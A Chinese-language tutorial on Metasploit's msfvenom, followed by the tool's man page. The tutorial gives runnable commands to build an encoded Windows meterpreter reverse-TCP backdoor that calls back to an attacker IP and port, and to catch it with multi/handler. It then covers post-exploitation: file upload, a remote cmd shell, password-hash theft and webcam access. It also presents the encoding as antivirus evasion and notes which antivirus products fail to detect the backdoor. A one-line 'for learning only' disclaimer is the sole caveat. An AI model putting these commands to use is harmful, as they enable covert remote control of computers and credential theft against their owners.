详细使用见 官方文档使用例子
在这里就官方文档里面的一个例子进行讲解
# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b 'x00' -i 3 -f python
上面的各参数分别是
-a 目标主机为32位的架构
–platform 系统平台为windows
-p 使用的有效载荷为windows下正向链接的tcp连接,如果连接成功会返回一个shell 在这里,除了正向连接还有反向连接 可以使用# msfvenom -l payload 查看所有载荷
-e 使用编码x86/shikata_ga_nai,以增加绕过目标主机的机率 ,可以使用# msfvenom -l encoders列出有效编码
-b 特征码绕过,防止杀软通过特征码进行查杀
-i 编码次数
-f 输出格式
#############################################################################
这里介绍下正向连接和反向连接
正向连接,就是木马会开启一个端口。不主动连接攻击者。等着攻击者链接。
反向连接,就是木马会开启端口后,主动连接攻击者设置的ip地址和端口
###############################################################################
实战
1,先生成一个windows下的木马后门,使用反向的tcp连接,反向连接地址为192.168.43.154,端口为44444 (攻击者的地址)
# msfvenom -p windows/x64/meterpreter_reverse_tcp -e x64/zutto_dekiru -i 3 lhost=192.168.43.154 lport=44444 -f exe > msf.exe
运行完成这个命令后会在当前文件夹下生成一个msf.exe文件。这个就是木马后门
2,使用Metasploit
- 使用msfconsole 启动msf
- 使用下面命令进行调用监听处理模块
msf>use exploit/multi/handler - 加载之前的有效载荷
msf>set payload windows/x64/meterpreter_reverse_tcp
-
使用show options来显示要设置的参数
msf>show options
-
这里我们可以看到,只要设置,监听端口和攻击者ip就可以,这里的端口和ip是之前的生成木马后门的ip地址和端口
-
使用
msf>set lhost 192.168.43.154
msf>set lport 44444 -
设置完成后,运行exploit进行监听
3,在被攻击主机上运行该文件。
- 在windows server 2008上双击msf.exe文件
- 在cmd中输入netstat -an查看端口号,会发现已经有一个44444的端口打开。
- 这时候打开之前我们监听的Metasploit
- 会发现已经有一个sessio成功,并且返回了一个meterpreter会话
- 使用help就可以查看可以操作的选项
比如调用网络摄像头等(虚拟机中测试没有摄像头),查看用户名密码等(当然这里是hash码),ps列出当前受害主机所有的进程等。 - 使用upload上传一个文件
- 可以输入shell得到目标主机的cmd
- 使用dir就可以看到我们上传的文件
- 输入文件名,运行程序
- 就可以拿到管理员的密码的hash
- 之前是可以使用-w参数得到密码的明文,现在在2008上不行。
#########################################################################################3
到这里就介绍结束了。当然你也可以根据文档,生成android,linux,等其他平台的木马后门。请自行尝试。当然现在window defener和360能够查杀。火绒出现了漏报。
警告:这个教程仅作为学习,不能作为恶意攻击。这个教程会持续更新:)
最后附上msfvenom的使用帮助文档。
MSFVENOM(1) Metasploit Framework - msfvenom MSFVENOM(1)
NAME
msfvenom - Payload Generator and Encoder
SYNOPSIS
msfvenom [options] <var=val>
DESCRIPTION
Msfvenom is a combination of Msfpayload and Msfencode, putting both of these
tools into a single Framework instance. Msfvenom has replaced both msfpayload
and msfencode as of June 8th, 2015.
OPTIONS
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom
payloads
--payload-options List the payload's standard options
-l, --list [module_type]
List a module type example: payloads, encoders, nops, all
-n, --nopsled [length]
Prepend a nopsled of [length] size on to the payload # 将length字长的nopsed放到载荷上
-f, --format [format]
Output format (use --help-formats for a list) # 输出格式
--help-formats # 查看输出格式
List available formats
-e, --encoder [encoder] # 编码
The encoder to use
-a, --arch [architecture]
The architecture to use # 要使用的体系结构 比如32位和64位
--platform [platform] # 有效载荷的平台
The platform of the payload
Cisco or cisco, OSX or osx, Solaris or solaris, BSD or bsd, OpenBSD or
openbsd, Firefox or firefox, BSDi or bsdi, NetBSD or netbsd, NodeJS or
nodejs, FreeBSD or freebsd, Python or python, AIX or aix, JavaScript
or javascript, HPUX or hpux, PHP or php, Irix or irix, Unix or unix,
Linux or linux, Ruby or ruby, Java or java, Android or android, Net‐
ware or netware, Windows or windows
-s, --space [length] The maximum size of the resulting payload # 生成有效载荷的最大长度
--encoder-space [length]
The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars [list]
The list of characters to avoid example: '0' # 特征码绕过
-i, --iterations [count]
The number of times to encode the payload # 编码次数
-c, --add-code [path] # 指定要包括的其他 win32 外壳代码文件
Specify an additional win32 shellcode file to include
-x, --template [path] # 指定要用作模板的自定义可执行文件
Specify a custom executable file to use as a template
-k, --keep # 保留模板行为, 并将有效负载作为新线程注入
Preserve the template behavior and inject the payload as a new thread
-o, --out [path]
Save the payload
-v, --var-name [name] # 指定要用于某些输出格式的自定义变量名
Specify a custom variable name to use for certain output formats
--smallest #生成尽可能小的有效负载
Generate the smallest possible payload
-h, --help
Show this message
--help-formats
List available formats
EXAMPLE
msfvenom --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai
-b "0" -f python
msfvenom --platform linux -p linux/x86/shell/reverse_tcp LHOST=w.z.y.z
LPORT=443 -b "0" -f elf -o file.bin
For more examples visit https://www.offensive-security.com/metasploit-un‐
leashed/msfvenom
SEE ALSO
msfcli(1) - deprecated -
msfconsole(1)
msfpayload(1) - deprecated -
msfencode(1) - deprecated -
AUTHOR(S)
Creator
HD Moore - @hdmoore / hdm@metasploit.com
Man Page Author: Kali Linux™ File man page bug reports at
https://bugs.kali.org
COPYRIGHT
Copyright (C) 2006-2015, Rapid7 Inc. All rights reserved.
Redistribution and use in source and binary forms, with or without modifica‐
tion, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright no‐
tice, this list of conditions and the following disclaimer in the doc‐
umentation and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors may
be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIM‐
ITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIM‐
ITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
The Metasploit Framework is provided under the 3-clause BSD license
above.
The copyright on this package is held by Rapid7 LLC.
This license does not apply to several components within the Metas‐
ploit Framework source tree. For more details see the LICENSE file.
4.11.4 July 23, 2015 MSFVENOM(1)